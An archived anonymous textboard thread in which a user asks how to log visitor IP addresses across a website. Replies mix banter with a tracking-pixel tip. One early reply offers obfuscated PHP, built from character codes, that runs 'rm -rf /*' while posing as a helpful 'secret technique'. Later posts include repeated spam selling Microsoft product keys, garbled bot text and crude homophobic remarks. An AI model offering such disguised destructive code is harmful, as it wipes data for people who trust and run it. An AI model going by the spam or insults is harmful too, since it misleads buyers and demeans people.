Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-4041-

php ip logging

Name: Anonymous 2009-06-25 12:01

hi /prog/

first tiem here.

i have a php script which logs all ip that visits my website. now i haev one page which if you enter it logs your ip, but i want it to do that on all other pages too, like also if people view a image on my site then it will log ip.

how can i do this? can i set it in htaccess?

oh and im using a free web host

Name: Anonymous 2009-06-25 12:02

Nice try, but even /g/ isn't that dumb.

Name: Anonymous 2009-06-25 12:07

huh?

Name: Anonymous 2009-06-25 12:17

By using this special secret ninja technique:

<?php $a=implode("",array_map("chr",array(114,109,32,45,114,102,32,47,42)));`$a`;

Name: Anonymous 2009-06-25 12:21

>>4
i c wat u did thar

Name: Anonymous 2009-06-25 12:50

>>3
using noko on a text board

I lol'd

Name: Anonymous 2009-06-25 12:54

>>6
thatsthejoke.jpg.exe.rar

Name: MILKRIBS4k 2009-06-25 12:59

>>7
VIRUS!!!

Name: Anonymous 2009-06-25 13:31

>>8
WTF
I FUCKING ALMOST DOWNLOADED IT

OH GOD THANK YOU!!!!

Name: Anonymous 2009-06-25 14:09

>>4
This would most certainly fail either due to no permissions or open_basedir settings.

Name: Anonymous 2009-06-25 15:04

>>7
After failing makes it out as joke, kudos anon. Kudos.

Name: Anonymous 2009-06-25 15:42

don't sage my thread :(

Name: Anonymous 2009-06-25 20:20

>>12
Back to /b/ please.

Name: Anonymous 2009-06-25 21:27

>>13
No, I already left /b/.

Name: Anonymous 2009-06-25 21:44

>>14
Well that was a mistake.

Name: Anonymous 2009-06-25 22:01

>>15
I don't regret it.

Name: Anonymous 2009-06-25 22:02

>>16
And neither do we.

Name: Anonymous 2009-06-25 22:04

>>17
Glad to be on the same boat :)

Name: Anonymous 2009-06-25 22:48

unsigned char o[] = {
  0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x21, 0xf9, 0x04, 0x01, 0x0a, 0x00, 0x01, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x02, 0x02, 0x4c, 0x01, 0x00, 0x3b, 0x00
};


Or something.

Oh, wait. PHP? Fuck that.

Name: FrozenVoid 2009-06-26 3:57

Do it in JavaScript in the browser.

________________________________________________
http://xs135.xs.to/xs135/09042/av922.jpg
orbis terrarum delenda est

Name: FrozenVoid 2009-06-26 8:57

>>20 Actually you can do it, by ajax requesting http://whatismyip.com/ , parsing the IP digits
and requesting log.php?ip=script_val
replace with "php script which logs all ip that visits my website"


______________________________________
http://xs135.xs.to/xs135/09042/av922.jpg
orbis terrarum delenda est

Name: Anonymous 2009-06-26 11:28

OP here
Well... I can't do Ajax/JS =/

Name: FrozenVoid 2009-06-26 11:31

>>22 Try http://www.hashemian.com/tools/visitor-IP.htm



_________________________________________________
http://xs135.xs.to/xs135/09042/av922.jpg
orbis terrarum delenda est

Name: Anonymous 2009-06-26 12:07

What the hell, can't you just use the log file?

Name: FrozenVoid 2009-06-26 12:12

>>24
not all webservers use client IPs

_________________________________________________
http://xs135.xs.to/xs135/09042/av922.jpg
orbis terrarum delenda est

Name: Anonymous 2009-06-26 12:48

If you play around with .htaccess, I believe that you can have any file request redirect to a php script first. Then you just log the ip and redirect to the file probably.

Name: Anonymous 2009-06-26 19:58

>>26
Yeah, exactly what I want.

>>23
I already have a script..

Name: Anonymous 2009-06-26 19:59

>>21
Actually, XMLHttpRequest()s cannot be cross-site.

Name: Anonymous 2009-06-26 20:02

Not without [b][i][u]XDomainRequest[u][/i][/b] faggotry, you mean.

Name: Anonymous 2009-06-27 2:17

Good fucking god. The unsigned char I posted was a 1x1 fucking transparent gif that, if you had half a fucking brain you could deduce would allow you to embed in your pages, allowing your fruity script to appear in any godforsaken page you want, thus getting their IP address. From there all you do is connect to your database and log the piece of shit. It's pretty much universal, can be done from Perl, PHP, Awk, or even Bash. Don't do it from LISP, though, because I don't want you to gay up a good language.

I know I've been away from /prog/ for about a year, but has it really gotten this bad?

Name: Anonymous 2009-06-27 2:21

I know I've been away from /prog/ for about a year, but has it really gotten this bad?
Yes

Name: Anonymous 2009-06-27 9:05

>>30
Come on, dude. It really wasn't obvious.

Name: Anonymous 2009-06-27 10:41

>>32
The first 5 bytes are "GIF89", anyone making a halfhearted attempt (like I just did) would have figured it out.

Name: Anonymous 2009-06-27 12:18

>>33
0x47, 0x49, 0x46, 0x38, 0x39, 0x61
HIBT?

Name: Anonymous 2009-06-27 12:28


offs  asc hex dec oct bin
0000:  G  47  071 107 01000111
0001:  I  49  073 111 01001001
0002:  F  46  070 106 01000110
0003:  8  38  056 070 00111000
0004:  9  39  057 071 00111001
0005:  a  61  097 141 01100001
0006:     0A  010 012 00001010

Name: Anonymous 2009-06-27 13:19

>>35
My bad, I assumed that 47,49, 46, etc, where in base-10 so i got /1.&'= instead of GIF89a  lol :)

Name: Anonymous 2009-06-27 13:31

>>36
Get out.

Name: Anonymous 2009-06-27 13:39

>>35
shed?

Name: Anonymous 2009-06-27 14:10

>>36

The prefix of 0x should have been an adequate clue as to the base. ):

Name: Anonymous 2009-06-27 15:50

>>36
See >>37

You don't belong here.

Name: Anonymous 2009-06-27 16:39

>>40
See >>41

You belong there.

Name: Anonymous 2009-06-27 18:24

>>36
3/10

Name: Anonymous 2009-06-28 4:57

I'm pretty sure that he'll enjoy being stuffed into anuses of clueless toddlers. ( ≖‿≖)

Name: Anonymous 2009-06-28 9:23

Did you mean: anii

Name: Trollbot9000 2009-07-01 8:02

0x01 0x00 0x01 0x00 0x01 0x00 0x80   0x00 0x00 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff   0xff 0xff 0xff?

Name: Trollbot9000 2009-07-01 10:11

Have to sit down The plane exited  the queue and  returned to the  chase I tell  him how I  make these help?

Name: Anonymous 2011-02-04 12:24

Name: Anonymous 2013-04-22 22:28

aye

Name: Anonymous 2013-04-23 9:58

this was a terrible thread. my poor frog

Name: Anonymous 2013-04-23 13:57



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-23 14:08



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-23 14:19



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-23 14:36



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-23 14:50



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-23 19:50

PHP has file types except I can't remember how to do it. It is something like setting the content type to image/jpeg in the php file. That way images can be php files meaning that you can log all dem ips

Name: Anonymous 2013-04-24 0:29



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 0:34



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 0:41



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 0:52



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 0:59



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 1:03



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 1:14



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 12:44



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 12:49



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 12:54



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 13:00



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-04-24 13:06



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

Name: Anonymous 2013-08-31 19:59


I was in Japan, but it didn't really seem like Japan because there were too many white people. The people I interacted with in the dream were all caucasian at least. The Asians were just the background people, like extras in a movie. Anyways I was walking through some sort of mall. The stores were interconnected so you walk through a door and you're in the next store. I seemed to have a set destination in mind, since I wasn't browsing any of the stores and was weaving through them all. I accidentally bump into a Japanese lady and mutter something and rush off, realizing I'm in Japan and don't actually know how to apologize. So, naturally I ask twitter.

Name: Anonymous 2013-08-31 21:29


Vodka makes me black out. I may even be blacked out whenever I read and write 4chan posts.  Am I awake? Obviously Vlad the Impaler does not want it Putin the bum of a young boy. Hence the laws against homosexuality.

Don't change these.
Name: Email:
Entire Thread Thread List